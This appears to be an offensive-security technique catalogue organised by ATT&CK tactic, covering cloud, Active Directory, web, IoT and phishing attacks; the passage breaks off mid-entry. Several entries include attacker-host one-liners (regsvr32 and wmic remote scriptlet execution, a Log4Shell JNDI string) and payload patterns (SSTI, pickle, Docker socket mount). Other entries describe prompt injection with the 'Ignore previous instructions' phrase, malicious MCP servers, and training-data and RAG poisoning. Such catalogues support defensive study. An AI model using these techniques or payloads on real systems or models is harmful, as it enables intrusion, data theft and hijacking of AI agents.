Technique library
Every technique referenced by a dossier in the registry — MITRE ATT&CK sub-techniques and offensive-security primitives across Active Directory, Web, Cloud, Container, and Network pentest.
Reconnaissance
16 techniques- C-AWS-ACCT-ENUMAWS Account ID Enumeration
Match a public ARN, S3 bucket, or KMS key alias back to its 12-digit account ID — required for cross-account role assumption.
- C-AZ-TENANT-RECONAzure Tenant Reconnaissance
AADInternals / o365recon / GetUserRealm — enumerate tenant ID, federation status, sync state, valid users.
- C-GCP-PROJECT-ENUMGCP Project Enumeration
GHunt / Google Workspace email enumeration / iam.googleapis.com TestIamPermissions to confirm project existence.
- C-PUBLIC-BUCKET-HUNTPublic Bucket Hunting
Brute-force bucket names (S3, GCS, Azure Blob) via wordlists scoped to org name + common patterns; check ACL.
- MOB-APK-REVERSEAPK Reverse Engineering
Pull APK, decompile with jadx / apktool, hunt for hardcoded keys, endpoints, debug flags, weak crypto.
- N-ARP-RECONARP Sweep / LAN Discovery
arp-scan / netdiscover map the local broadcast domain — first move on a fresh foothold.
- PKI-CT-MONITORCertificate Transparency Monitoring
Watch CT logs for newly issued certs containing target keywords — discover internal hosts, staging, M&A targets before they go live.
- W-RECON-API-DISCOAPI Endpoint Discovery
Hunt swagger.json / openapi.yml / GraphQL /graphql, robots.txt, JS bundles — map the API surface area.
- W-RECON-DIRBRUTEDirectory & File Bruteforce
feroxbuster / ffuf / gobuster against likely paths and extensions. Finds /admin, /backup.sql, /.git, /.env.
- W-RECON-FINGERPRINTTech Stack Fingerprinting
Identify frameworks, CMS, server, JS libs via headers, cookies, error pages, /robots.txt — Wappalyzer / WhatWeb.
- W-RECON-GITHUB-DORKGitHub / GitLab Dorking
Search public repos for org email, internal hostnames, JWT secrets, AWS keys, private keys.
- W-RECON-JS-SECRETSHardcoded Secrets in JS Bundles
Grep JS for API keys, AWS access keys, JWT secrets, internal hostnames — TruffleHog / SecretFinder.
- W-RECON-SOURCEMAPJavaScript Source Map Exposure
Publicly served .js.map files reveal the un-minified source, comments, often internal API URLs and feature flags.
- W-RECON-SUBDOMAINSubdomain Enumeration
Enumerate subdomains via CT logs (crt.sh), passive DNS, subfinder/amass. Expands the attack surface for forgotten apps.
- W-RECON-WAF-DETECTWAF / CDN Detection
wafw00f / nmap http-waf-* / behavioural probes — informs payload encoding strategy later.
- W-RECON-WAYBACKWayback & Archive Scraping
waybackurls / gau pull historical endpoints — often surfaces deprecated APIs still routable.
Resource Development
2 techniquesInitial Access
118 techniques- AD-COERCEAuthentication Coercion
Force a target machine account to authenticate to attacker — PetitPotam (EFSRPC), PrinterBug (RPRN), DFSCoerce (DFSNM).
- AD-COERCE-DFSCOERCEDFSCoerce (MS-DFSNM)
NetrDfsRemoveStdRoot forces the target to authenticate; survives EFSRPC patches.
- AD-COERCE-MSEFSRPCMS-EFSR Coercion (PetitPotam family)
Encrypted File System remote protocol calls coerce SMB or HTTP auth from the target.
- AD-COERCE-PRINTERBUGPrinterBug Coercion (MS-RPRN)
RpcRemoteFindFirstPrinterChangeNotificationEx forces the spooler to authenticate to an attacker host.
- AD-COERCE-SHADOWShadowCoerce (MS-FSRVP)
IsPathSupported / IsPathShadowCopied call coerces the machine account to authenticate.
- AD-COERCE-WEBDAVWebClient / WebDAV Coercion
Trigger the WebClient service to send NTLM over HTTP — relayable to non-SMB targets (LDAP, ADCS).
- AD-MAQMachineAccountQuota Abuse
Default ms-DS-MachineAccountQuota = 10 lets any user create computer accounts — primitive for RBCD, ESC8, noPac.
- AI-INDIRECT-INJECTIndirect Prompt Injection (RAG / Web)
Malicious content lives in a document, web page, or PDF that the LLM later ingests via RAG / browse tools — injection fires when the model reads it.
- AI-MCP-SERVERMalicious MCP Server
Add a rogue Model Context Protocol server to the user's client. Every prompt to the agent exposes tools / data via the rogue server — silent supply-chain for AI workflows.
- AI-PROMPT-INJECTDirect Prompt Injection
User-supplied input contains instructions that override the system prompt — "Ignore previous instructions and …" classic.
- AI-VISION-PROMPT-INJECTVision Prompt Injection
Hidden instructions inside images (steganographic / faint text) interpreted by multi-modal models — fires when user pastes a screenshot or the agent reads a webpage.
- APT-ACTIVISION-SSActivision SS Slack Bombing
Send convincing fake-IT SMS to an employee, follow up with Slack DMs as 'IT', reset MFA, steal session — Caesars / MGM / Activision pattern (Scattered Spider).
- APT-CAPITAL-ONE-SSRFCloud SSRF → IMDS → Bucket Exfil (Capital One 2019)
Misconfigured WAF allowed SSRF; SSRF reached EC2 IMDS for instance role; role had ListBucket + GetObject on a major data bucket.
- APT-CI-BASH-UPLOADCI Uploader Backdoor (Codecov)
Compromise a script that thousands of CI pipelines `curl | bash` — exfil environment + secrets from every running build for months.
- APT-CLOUD-ADMIN-PORTALCloud Admin-Portal Phish (Storm-0558)
Steal an enterprise IdP signing key from a memory crash dump → mint tokens for any tenant — the 2023 Microsoft / federal mailbox breach.
- APT-INSIDER-PANELInsider Admin-Panel Coercion (Twitter 2020)
Bribe / coerce / phish an employee with access to an internal admin panel that can change account email / 2FA — mass account takeover.
- APT-LASTPASS-DEVDev-Workstation Backup Exfil (LastPass 2022)
Compromise a single engineer's home workstation via outdated third-party media-server software → steal AWS backup keys → exfil full encrypted vault store.
- APT-MICROSOFT-MIDNIGHTMidnight Blizzard Spray + Legacy OAuth (Microsoft 2024)
Password-spray a legacy non-prod tenant lacking MFA → discover a legacy OAuth app with full Mail.ReadWrite scope on corporate tenant — read executive mailboxes.
- APT-OKTASS-0KTAPUS0ktapus SMS-Phish Sweep
Mass SMS phishing of help-desk / contractor logins across ~130 SaaS tenants — Twilio, MailChimp, DoorDash et al. compromised through one Okta-style phishlet (Group-IB tracked it).
- APT-SOLARWINDS-BUILDBuild-System Implant (SUNSPOT-class)
Implant on the build server replaces a source file at compile time so the official signed artefact ships a backdoor — SolarWinds Orion / 3CX-class chain.
- APT-SUPPLIER-UPDATERTrusted Updater Hijack (NotPetya / M.E.Doc)
Compromise a niche software vendor's update server — every customer pulls the malicious update, mass-spread inside trusted networks.
- APT-VPN-LEAKED-CREDLeaked Legacy VPN Credential (Colonial-class)
An old VPN account whose password appeared in a third-party breach is still active and not protected by MFA — direct entry to the corporate network.
- AUTH-SAML-GOLDENSAML Golden Ticket
Compromise the IdP signing key (via ADFS cert export / Okta admin / leaked cert) — forge arbitrary SAML assertions for any user.
- BX-MALICIOUS-EXTMalicious Browser Extension
Publish or sideload an extension requesting <all_urls> + cookies + tabs perms — read every site the user visits, exfil cookies.
- C-ENV-LEAK-PIPELINECI/CD Pipeline Secret Leak
GitHub Actions / GitLab CI / CircleCI log leakage of AWS keys / kubeconfig / GCP service-account JSON.
- C-OIDC-TRUST-MISCONFCloud OIDC Trust Misconfiguration
An AWS IAM role / GCP workload-identity trusts GitHub OIDC with overly-broad subject (e.g. wildcard repo) — any attacker repo gets the role.
- C-PUB-PORT-EC2Exposed Management Port
SSH/RDP/Redis/MongoDB open to 0.0.0.0/0 on a cloud instance — bruteforce or unauthenticated access.
- CDN-WORKER-COMPROMISECloudflare Worker / Edge Function Compromise
Compromised account or leaked Cloudflare API token deploys an attacker Worker — sees every customer request, can rewrite responses on the fly.
- CI-OIDC-WILDCARDCI/CD OIDC Trust Wildcard
Cloud IAM role trusts CI OIDC with wildcard 'sub' claim — any attacker repo / branch / environment can assume the role.
- CI-PR-TARGETGitHub Actions pull_request_target Injection
pull_request_target runs in base-repo context with secret access; PRs to a workflow that checks out the fork SHA execute attacker code with secrets.
- CVE-BLUEKEEPBlueKeep (CVE-2019-0708)
RDP pre-auth use-after-free on Windows 7 / Server 2008 — kernel RCE without credentials.
- CVE-ETERNALBLUEEternalBlue (MS17-010 / CVE-2017-0144)
SMBv1 pre-auth heap overflow — WannaCry / NotPetya propagation engine; still works on unpatched legacy networks.
- CVE-F5-BIGIPF5 BIG-IP iControl REST Auth Bypass (CVE-2022-1388)
Connection-header SMUGGLE to bypass iControl REST auth → command-injection → root on the load balancer.
- CVE-MOVEITMOVEit Transfer SQLi → Deserialisation (CVE-2023-34362)
Pre-auth SQLi in MOVEit's web UI → forge admin session → .NET deserialisation chain → SYSTEM webshell. The Cl0p mass-exfil event of 2023.
- CVE-STRUTS-S2-045Apache Struts Content-Type RCE (S2-045 / CVE-2017-5638)
Crafted Content-Type header is parsed as an OGNL expression — Equifax 2017 disaster origin.
- DB-ELASTIC-NOAUTHElasticsearch / Kibana No-Auth
Default Elasticsearch / Kibana < 7.x with no security plugin — read/write every index, dump all data.
- DB-MONGO-NOAUTHMongoDB / DocumentDB No-Auth Open
Shodan-indexed MongoDB / DocumentDB on 27017 / 27018 with no auth — full read/write access to every collection.
- DNS-DANGLING-CNAMEDangling CNAME (host takeover)
Org CNAME points to an unclaimed cloud resource (S3 / Heroku / Azure App Service) — register it, serve attacker content under a trusted hostname.
- DNS-SUBDOMAIN-WILDCARDWildcard Subdomain Hijack
Wildcard A/CNAME with no TLS pinning catches arbitrary subdomains the attacker registers in the parent zone — useful for cookie tossing across siblings.
- EM-ARC-ABUSEARC Trust Chain Abuse
Forge or manipulate Authentication Results Chain (ARC) headers — downstream forwarders may trust the chain over their own SPF/DMARC check.
- EM-CONVERSATION-HIJACKConversation Hijacking / Reply-Chain Attack
From a compromised mailbox, reply to an existing email thread with a malicious link — trust transferred from genuine prior thread.
- EM-DISPLAY-SPOOFDisplay-Name Spoofing
Mail client shows only the display name in mobile views; set 'CEO Name <attacker@gmail.com>' — most users tap reply without seeing the address.
- EM-DKIM-STRIPDKIM Replay / Strip
Resend a legit DKIM-signed message with modified headers / unsigned fields — gateway treats it as authenticated.
- EM-DMARC-BYPASSDMARC Bypass (p=none / sub-policy)
Many orgs publish p=none for monitoring — DMARC-aware filters trust the From header without enforcement.
- EM-HEADER-SMUGGLEEmail Header Smuggling
Two From: headers, encoded From, RFC-edge cases — one parser sees attacker, another sees victim. Gmail / Outlook variants over the years.
- EM-SPF-BYPASSSPF Bypass / Misconfig
Permissive SPF (~all / +all) or include: of large permissive ranges lets attackers send mail that passes SPF from an attacker-controlled IP.
- EX-PROXYLOGONProxyLogon (CVE-2021-26855)
SSRF + auth bypass in Exchange CAS — read any mailbox / write to Exchange via /ecp, then drop webshell via WriteFile.
- EX-PROXYNOTSHELLProxyNotShell (CVE-2022-41040/-41082)
Authenticated SSRF + Remote PowerShell deserialization — requires any user credential, then RCE as SYSTEM.
- EX-PROXYSHELLProxyShell (CVE-2021-34473/-34523/-31207)
Pre-auth chain — path confusion + email-to-PowerShell + arbitrary file write = SYSTEM webshell on the Exchange server.
- FW-DMA-ATTACKDMA Attack (PCILeech / Inception)
Plug a PCIe card / Thunderbolt device into a locked machine — DMA reads/writes RAM directly, unlocks Windows / Linux / macOS.
- FW-EVIL-MAIDEvil Maid Boot Tamper
Brief physical access lets an attacker modify the bootloader / EFI partition / BitLocker decryption ceremony to capture passphrase or implant.
- FW-LOGOFAILLogoFAIL (UEFI Image Parser RCE)
Boot-time image parsers in vendor UEFI accept malformed JPG/PNG/BMP from the EFI partition — pre-OS RCE before SecureBoot kicks in.
- HC-MEDICAL-DEVICEConnected Medical Device
Infusion pumps, MRI / CT consoles, dialysis controllers — networked Windows XP / WinCE devices that ICU networks treat as trusted.
- HV-ESXI-SLPESXi OpenSLP Unauth RCE (CVE-2021-21974)
ESXi SLP service pre-auth heap-overflow → root on the host — the bug behind the ESXiArgs ransomware wave.
- HV-VCENTER-RCEvCenter Server RCE
Repeating vCenter CVEs (CVE-2021-21972 vSAN, CVE-2024-37079 DCERPC heap) — pre-auth path to root, then full hypervisor estate.
- IOT-DEFAULT-CREDDefault / Hardcoded Credentials
Camera / router / NAS / printer ships with admin/admin or a per-vendor hardcoded password — Shodan-indexable, mass exploitation.
- IOT-JTAG-DEBUGJTAG / SWD Debug Access
Probe JTAG with OpenOCD / Black Magic Probe — full halt/resume + RAM/flash read-write on the SoC.
- IOT-MQTT-OPENMQTT Broker Open / No Auth
Public MQTT broker reachable without auth on TCP/1883 — subscribe to # and read every device topic; publish to control devices.
- IOT-OTA-MITMOTA Update MITM
Firmware updates fetched over HTTP without signature check — substitute a signed payload during transit.
- IOT-UART-CONSOLEUART Debug Console
Solder onto exposed UART TX/RX/GND headers — typically grants an unauthenticated root shell on consumer IoT devices.
- K-DASHBOARD-OPENKubernetes Dashboard Unauthenticated
Pre-2018 default + skip-login flag — anonymous access with cluster-admin.
- K-DOCKER-SOCKDocker Socket Exposed
/var/run/docker.sock mounted in a container or reachable on 2375 — full host takeover via docker run -v /:/host.
- K-ETCD-OPENetcd Exposed Without Auth
etcd on 2379/2380 without --client-cert-auth — read every secret in the cluster.
- K-KUBELET-OPENKubelet Read/Write API Open
kubelet 10250/10255 anonymous-auth=true — exec / logs / metrics against any pod.
- LK-KSMBD-RCEksmbd Remote Kernel Bug
In-kernel SMB server with a rough security track record (CVE-2023-48795 / -3329 / multiple 2024-25) — pre-auth or post-auth kernel RCE over network.
- M365-DEVICE-CODEDevice-Code Phishing (Microsoft Identity)
Initiate a device-code flow against login.microsoftonline.com, send the code+URL to the victim — get tokens without a fake login page.
- M365-TEAMS-PHISHTeams External Tenant Message
External-tenant chat from a typosquat tenant — attacker phishes via Teams DM with file attachment, often whitelisted by users.
- MOB-ADB-OPENADB Open on Network
adbd accepting unauthenticated TCP/5555 — `adb connect` from anywhere on the network grants shell as the shell user.
- MOB-DEEPLINK-ABUSEAndroid Deeplink / Intent Abuse
Exported activity / intent-filter with weak validation — craft an intent URL that triggers privileged actions in the app.
- MOB-IOS-URL-SCHEMEiOS URL Scheme Hijack
Multiple apps register the same URL scheme — attacker app handles a callback intended for the legit app (OAuth code, password reset).
- NFC-MAG-EMULATIONNFC Magstripe Emulation Replay
Cards in 'magnetic stripe data' mode broadcast track-2 over NFC — capture, replay to a magstripe-accepting POS.
- OT-HMI-DEFAULTSHMI Default Credentials
Wonderware / iFix / Ignition / Movicon HMIs left with vendor-default credentials reachable from the corporate LAN.
- OT-OPCUA-NO-AUTHOPC UA / OPC Classic No-Auth
Mis-configured OPC UA endpoint accepts anonymous binding — read / write tags, browse the address space.
- PH-AITM-EVILGINXAITM Phishing — Evilginx / Modlishka
Reverse-proxy phishing kit intercepts the entire auth flow including MFA challenge; harvests the post-auth session cookie.
- PH-BITBBrowser-in-the-Browser (BitB)
Render a fake SSO popup inside the page (looks like a real browser window) — victim types creds into the attacker DOM.
- PH-CONSENT-PHISHCloud Consent Phishing
Same as Entra app consent in cloud, generalised — Google Workspace OAuth scopes, Slack apps, Atlassian apps.
- PH-HTML-SMUGGLEHTML Smuggling
Email attachment is a benign HTML; in-browser JS reconstructs a malicious payload from base64 chunks, bypassing email scanners.
- PH-MFA-FATIGUEMFA Fatigue / Prompt Bombing
Spam push notifications until the victim approves one out of frustration / habit — successful Uber / 0ktapus playbook.
- PH-OAUTH-DEVCODEOAuth Device-Code Phishing
Trick a user into completing a device-code flow on attacker's behalf — gain an access + refresh token without ever seeing the password.
- PH-OPEN-REDIRECT-CHAINOpen Redirect Chain for Phishing
Bounce victims through trusted-host open redirects before landing on attacker domain — bypasses URL-based defences.
- PKI-ACME-DNS01ACME DNS-01 Validation Hijack
Hijack the target's DNS (subdomain takeover / dangling CNAME / registrar compromise) and answer Let's Encrypt's TXT challenge — get a valid cert for that host.
- PKI-ACME-HTTP01ACME HTTP-01 Validation via SSRF
Force the target's origin to fetch /.well-known/acme-challenge/... from an attacker-controlled path — attacker proves control of the hostname they target.
- SAAS-ATLAS-CVEAtlassian Confluence / Jira RCE
Mass-exploited Confluence + Jira CVEs (CVE-2021-26084 OGNL, CVE-2022-26134 OGNL, CVE-2023-22515 Confluence privesc) — unauth RCE / admin.
- SAAS-GH-OAUTH-DEVCODEGitHub OAuth Device-Code Phishing
Initiate device-flow against github.com/login/device, send code to victim — receive an access token with the granted scopes.
- SAAS-SLACK-PHISHSlack Connect / External DM Phishing
External tenant DMs / Slack Connect channels carry phishing links — many orgs allow external connections by default.
- SAT-VSAT-NOAUTHVSAT Hub No-Auth Management
Several VSAT hubs ship with default admin / unauthenticated telnet to the modem's serial passthrough — abused for years by IoT-style mass scanning.
- SE-LOCKPICKLockpicking / Bypass Tools
Single-pin / raking / under-the-door tools / latch-slip — common on residential-grade office locks.
- SE-PRETEXTPretexting
Plausible cover story (auditor, contractor, courier, fire marshal) that gets the attacker through human checks — usually combined with physical or phone access.
- SE-RFID-CLONERFID / Badge Cloning
Proxmark3 / Flipper Zero captures a badge's HID/iCLASS ID at brush-pass range — clone to a blank for unauthorised entry.
- SE-TAILGATETailgating / Piggybacking
Follow an employee through a badge-controlled door without scanning. Carry a coffee, fake props, look busy on the phone.
- SE-USB-DROPUSB Drop / HID Attack
Drop a Rubber-Ducky / Bash-Bunny / O.MG cable in a parking lot or break room — fires keystrokes / drops payload when plugged in.
- SE-VISHINGVishing (Voice Phishing)
Phone call pretending to be IT / vendor / executive — most often used to reset MFA / passwords or extract sensitive info.
- SUP-DEP-CONFUSIONDependency Confusion (Public ↔ Internal)
Publish a package on a public registry with the name of a target's internal-only dependency at a higher version — npm/yarn prefers the public one.
- SUP-DOCKER-MALICIOUSMalicious Docker Image (typosquat / poisoned base)
Push a Docker image with a misleading name (apline:latest) or backdoor a popular base image on Docker Hub.
- SUP-NPM-TYPOSQUATnpm / PyPI / RubyGems Typosquat
Publish a package with a near-miss name (lodahs, expresss, requessts) — install scripts fire on every npm install.
- SUP-PACKAGE-TAKEOVERPackage Maintainer Takeover
Reset maintainer password via dormant email domain re-registration / leaked npm token / dependency confusion — publish a malicious version.
- T1078Valid Accounts
Obtain and abuse credentials of existing accounts.
- T1133External Remote Services
Use VPNs, Citrix, RDP, etc. exposed externally.
- T1190Exploit Public-Facing Application
Use vulnerabilities in internet-facing software.
- T1195Supply Chain Compromise
Compromise software, hardware, or service providers used by the target.
- T1566Phishing
Send malicious messages to obtain access.
- VOIP-CALLER-SPOOFCaller-ID Spoofing
SIP From / P-Asserted-Identity header lets the caller set arbitrary caller ID — used to make vishing calls look 'internal'.
- VPN-CISCO-ASACisco ASA / AnyConnect Auth Bypass
ASA / FTD WebVPN credential / session-token disclosure (CVE-2024-20353 / 2024-20359 ArcaneDoor) — appliance compromise.
- VPN-FORTINET-RCEFortiGate / FortiOS RCE
Recurring pre-auth heap overflow / sslvpnd format-string class CVEs (CVE-2024-21762, CVE-2023-27997) — root on the appliance.
- VPN-IVANTI-PULSEIvanti Pulse / Connect Secure RCE
Auth bypass + command injection chain (CVE-2023-46805 + CVE-2024-21887 et al.) — pre-auth RCE on the appliance.
- W-NPM-DEPCONFUSIONDependency Confusion
Publish a public package with the name of a target's internal-only dependency to trick npm/yarn into installing the attacker version.
- W-OPEN-REDIRECTOpen Redirect
Unvalidated redirect_uri / next / returnUrl parameter — used as a phishing aid or to leak OAuth tokens.
- W-RFIRemote File Inclusion (RFI)
Include a remote URL into a server-side include — server fetches and executes attacker-controlled code.
- W-S3-PUBLICPublic Cloud Bucket Misconfig
Public-read / world-writable S3 / Azure Blob / GCS bucket — read sensitive data or replace served assets.
- W-SUBDOMAIN-TAKEOVERSubdomain Takeover
Dangling CNAME pointing to an unclaimed cloud resource (S3, Azure, Heroku) — claim it and serve attacker content under the trusted host.
- W-UPLOAD-BYPASSFile Upload Filter Bypass
Bypass extension/MIME/magic-byte checks via double extensions (.php.jpg), null bytes, polyglots, content-type spoof.
- W-UPLOAD-RCEFile Upload → Webshell RCE
Upload a server-side script (PHP/JSP/ASPX) into a web-served directory and request it.
- W-WEBDAV-PUTWebDAV PUT to Drop Shell
Mis-configured WebDAV / IIS lets unauthenticated PUT — drop an .aspx / .ashx webshell.
- W3-ERC721-APPROVEERC-721 setApprovalForAll Phish
Single transaction approves every NFT in a collection for attacker spending — the workhorse primitive of wallet drainers.
- WIFI-EVIL-TWINEvil Twin / Rogue AP
Spoof the corporate SSID with a stronger signal, present a captive portal — capture credentials from auto-connecting clients.
- WIFI-KARMAKARMA / Probe Response
Listen for client probe requests and reply 'yes that's me' for every SSID — client auto-associates if it was previously joined.
- WLT-FAKE-AIRDROPFake Airdrop / Approval Phish
Send victims worthless tokens; the 'claim' button calls setApprovalForAll on their valuable assets.
- WLT-HW-SUPPLYHardware Wallet Supply-Chain Tamper
Tamper with the hardware wallet package before delivery — pre-seeded seed phrase or backdoored firmware.
Execution
52 techniques- AD-MSSQL-XPCMDMSSQL xp_cmdshell
Enable xp_cmdshell on a SQL server you have sysadmin on — run shell commands as the service account.
- AI-TOOL-ABUSETool / Function-Call Abuse
Agentic LLM has tools (shell, file, HTTP). Prompt injection in user input or RAG context invokes tools with attacker-chosen arguments.
- BRW-JSC-GARBAGE-COLJSC (Safari) Garbage Collector Bug
JavaScriptCore GC use-after-free / mark-stack inconsistency — repeatable on Pwn2Own most years for an iOS / macOS Safari renderer pop.
- BRW-SPIDERMONKEY-TISpiderMonkey Type-Inference Bug
Firefox JS engine bug in IonMonkey's type-set tracking — leads to incorrect optimisations and memory corruption.
- BRW-V8-TYPE-CONFUSIONV8 Type Confusion → JIT Exploitation
JavaScript bug confuses V8 about an object's shape; speculative JIT load reads from the wrong slot — primitive to addrof / fakeobj, then RCE in the renderer.
- BRW-WASM-OOBWebAssembly Bounds-Check Bypass
JIT bug elides WASM bounds check after PGO — out-of-bounds access from a sandboxed WASM module reaches engine memory.
- C-AWS-LAMBDA-EXECAWS Lambda Code Update → RCE
Update a Lambda's code (lambda:UpdateFunctionCode) — next invocation runs attacker code with the function's role.
- CI-PIPELINE-RCEJenkins Script Console RCE
Jenkins /script Groovy console reachable unauth or with weak creds — Groovy exec() = RCE as Jenkins master.
- CI-WORKFLOW-INJECTWorkflow Command Injection
User input interpolated into a run: step (e.g. github.event.issue.title) — RCE on the runner via shell metachars.
- CVE-FOLLINAFollina (MS-MSDT, CVE-2022-30190)
URL handler in Office documents auto-launches msdt.exe with attacker-controlled command line — RCE without macros.
- CVE-IMAGEMAGICKImageMagick Delegate / ImageTragick
Magic-byte parsing executes delegate commands — historic vector via uploaded SVG / MVG (CVE-2016-3714 + a long tail since).
- CVE-LOG4SHELLLog4Shell (CVE-2021-44228)
JNDI lookup in log4j 2.x — ${jndi:ldap://attacker} in any logged user input triggers JNDI resolution → arbitrary class load → RCE.
- CVE-SHELLSHOCKShellshock (CVE-2014-6271)
Bash function-import in environment variables runs trailing shell commands — exploited via HTTP headers in CGI scripts.
- CVE-SPRING4SHELLSpring4Shell (CVE-2022-22965)
Spring Framework data-binding via PropertyDescriptor → modify Tomcat's logging config → write JSP webshell.
- DB-COUCHDB-RCECouchDB Privilege Escalation (CVE-2017-12636)
Authenticated query-server config edit allows arbitrary OS commands as CouchDB user — historical but still common in legacy IoT stacks.
- DB-MYSQL-UDFMySQL UDF Library Injection
Authenticated MySQL root → CREATE FUNCTION from attacker-controlled .so to spawn shell commands.
- DB-REDIS-MODULERedis MODULE LOAD RCE
Authenticated but module-load-enabled Redis → load a malicious shared object via MODULE LOAD — direct RCE as the Redis user.
- DB-REDIS-RCERedis Unauth → RCE via CONFIG
Authless Redis on 6379 — CONFIG SET dir, dbfilename, then SAVE to write an SSH authorized_key / cron / webshell.
- HC-DICOM-MALFORMMalformed DICOM Stack Overflow
DICOM parsers in PACS viewers have a track record of buffer overflows triggered by malformed pixel data — RCE on radiologist workstations.
- LOL-INSTALLUTILinstallutil.exe / regsvcs / regasm Proxy
.NET Framework signed-binary execution chain for AppLocker bypass.
- LOL-MSBUILDmsbuild.exe Inline C# Compile
MSBuild XML with Inline Task runs attacker-supplied C# — works because msbuild is signed and present on .NET-dev machines.
- LOL-MSHTAmshta.exe HTA Runner
Signed MS host that runs JS / VBS inside an HTA page — common LOLBin for cradle stagers.
- LOL-REGSVR32regsvr32.exe /i Scriptlet (Squiblydoo)
regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dll — remote SCT execution via signed registrar.
- LOL-RUNDLL32rundll32.exe Proxied Execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "; ... — runs arbitrary JS in a signed-binary context.
- LOL-WMICwmic.exe XSL Execution
wmic os get /format:'http://attacker/x.xsl' — proxied execution of an attacker-supplied XSL.
- MF-USS-SHELLz/OS UNIX System Services Shell
OMVS / USS shell on mainframe — modern post-ex (sh-style commands, file edits) without dealing with TSO / 3270 quirks.
- MOB-FRIDA-HOOKFrida Runtime Hooking
Inject JS into the app process to intercept Java / native function calls — dump arguments, modify return values, bypass auth.
- PAY-CHMCompiled HTML Help (.chm) Payload
Windows .chm files render with mshta-equivalent privileges and execute embedded scripts.
- PAY-CLICKONCEClickOnce Application Phishing
.application files install + run signed .NET payloads — bypass several typical email filters that scan for .exe.
- PAY-HTA-VBSHTA / VBS / WSF Execution
mshta.exe runs HTA payloads outside browser sandboxing — historical staple still effective on unhardened endpoints.
- PAY-ISO-LNKISO / IMG Mounting → LNK Execution
ISO / IMG containers bypass Mark-of-the-Web — opens as a virtual disk, LNK inside auto-executes a hidden binary.
- PAY-MACRO-OFFICEOffice VBA Macro
Embedded VBA in .docm / .xlsm — Microsoft blocks Internet macros by default since 2022 but enterprise allowlists and older systems still bite.
- PAY-ONENOTEMalicious OneNote Attachment
OneNote .one files allow embedded executables behind 'Double-click to view' graphics — a popular post-macro initial access vector.
- POS-PINPAD-RCEPIN Pad Firmware RCE
Vulnerable PIN pad firmware (Verifone / Ingenico class) reachable over serial / USB / IP — escalate to firmware replace, capture every PIN.
- PRT-PJL-PS-RCEPJL / PostScript Code Execution
Send PJL FSDOWNLOAD or PostScript exitserver commands to the printer over 9100/tcp — write to filesystem, replace firmware, reach root on the controller.
- PRT-WEB-PANEL-RCEPrinter Web Panel RCE
MFP admin web UI with vendor-default credentials / unauth firmware upload — push attacker firmware, persistent root on a quiet network device.
- SUP-INSTALL-SCRIPTMalicious Install Script
preinstall / postinstall scripts in npm, setup.py in PyPI run during dependency resolution — code exec on the developer / CI host.
- T1053Scheduled Task/Job
Use task schedulers to run code.
- T1059Command and Scripting Interpreter
Abuse shells/interpreters (PowerShell, bash, Python).
- T1204User Execution
Rely on a user opening a malicious file or link.
- VOIP-PBX-RCEPBX Admin Panel RCE
Asterisk / FreePBX / 3CX admin panel exposed with default creds or vulnerable to webshell upload — RCE on the PBX host.
- W-CMDIOS Command Injection
User input concatenated into a shell command — separators `;`/`|`/`&&`/backtick-`$()` yield RCE as the web user.
- W-DESER-JAVADeserialization — Java (ysoserial)
ObjectInputStream.readObject on attacker bytes — ysoserial gadget chains (CommonsCollections, Spring, JRE-only) reach Runtime.exec.
- W-DESER-NETDeserialization — .NET BinaryFormatter / JSON.NET
TypeNameHandling.All in JSON.NET, BinaryFormatter, ObjectStateFormatter (ViewState) — ysoserial.net gadgets reach Process.Start.
- W-DESER-NODEDeserialization — Node (node-serialize, etc.)
_$$ND_FUNC$$_ marker invokes eval — node-serialize, serialize-javascript, funcster gadgets.
- W-DESER-PHPDeserialization — PHP unserialize
unserialize() on user input — POP chains via __wakeup / __destruct lead to file_put_contents / system.
- W-DESER-PICKLEDeserialization — Python pickle
pickle.loads on attacker bytes — __reduce__ trivially returns (os.system, ('cmd',)) → RCE.
- W-LOG-POISONINGLog Poisoning + LFI
Inject PHP/JSP into a logged value (User-Agent, Referer), then LFI the log file to execute it server-side.
- W-PROTOTYPE-SERVERServer-Side Prototype Pollution → RCE
Polluting Object.prototype in Node lets you set unexpected child-process / spawn options leading to RCE.
- W-SSTI-FLASKSSTI — Jinja2 / Flask
Server-Side Template Injection via {{ }} — escape the sandbox via __class__.__mro__ or config.from_pyfile to reach exec.
- W-SSTI-FREEMARKERSSTI — Freemarker / Velocity
${} / #{} template expressions reach Java ProcessBuilder via reflection — typical in Atlassian Confluence / Bitbucket exploits.
- W-SSTI-TWIGSSTI — Twig / PHP
{{_self.env.registerUndefinedFilterCallback('exec')}} pattern reaches PHP system() / shell_exec.
Persistence
36 techniques- AD-ACL-PERSISTDACL Backdoor on Domain Object
Add stealth ACEs (GenericAll, WriteDACL, GetChanges) on a high-value object for re-entry.
- AD-ADMINSDHOLDERAdminSDHolder Abuse
Modify AdminSDHolder ACL; SDPROP propagates the rogue ACE to all protected accounts hourly.
- AD-CERT-PERSISTCertificate Persistence (PERSIST1/2)
Long-lived user/computer cert survives password resets — re-auth via PKINIT.
- AD-DCSHADOWDCShadow
Register a rogue DC and inject arbitrary AD changes via legitimate replication.
- AD-DSRMDSRM Password Sync
Set the local Directory Services Restore Mode admin account to sync with a domain account for back-door logon on DCs.
- AD-GPO-STARTUPGPO Startup/Logon Script
Inject a startup/logon script into a linked GPO for persistence across the OU.
- AI-DATA-POISONTraining Data Poisoning
Insert backdoored examples into the training set — model learns a trigger that produces attacker-chosen output at inference.
- AI-EMBED-POISONEmbedding Index Poisoning
Insert documents engineered to dominate the embedding space near sensitive queries — the retriever always picks attacker text, the LLM uses it as ground truth.
- AI-RAG-POISONRAG Index Poisoning
Insert documents into the vector DB whose embeddings rank high for sensitive queries — the model retrieves and trusts attacker content.
- BX-EXT-UPDATE-TAKEOVERExtension Update Channel Takeover
Compromised extension maintainer account; push a malicious version via auto-update — every existing install runs attacker code on next launch.
- C-AWS-IAM-BACKDOORAWS IAM Backdoor User / Access Key
Create a stealth IAM user (svc-monitor) with PowerUser / Admin attached for re-entry after credential rotations.
- C-AZ-APP-PERSISTEntra Application Persistence
Add a client secret to an existing app registration with privileged roles — survives user-password resets and MFA changes.
- C-GCP-IAM-BACKDOORGCP Service Account Backdoor Key
Generate a long-lived JSON key for a low-noise SA whose only role is impersonating an admin — stealth re-entry.
- CI-CACHE-POISONCI Build Cache Poisoning
Poison Actions cache / Bazel remote cache so subsequent legitimate builds pick up attacker artefacts.
- CI-RUNNER-PERSISTRunner Persistence (custom hook)
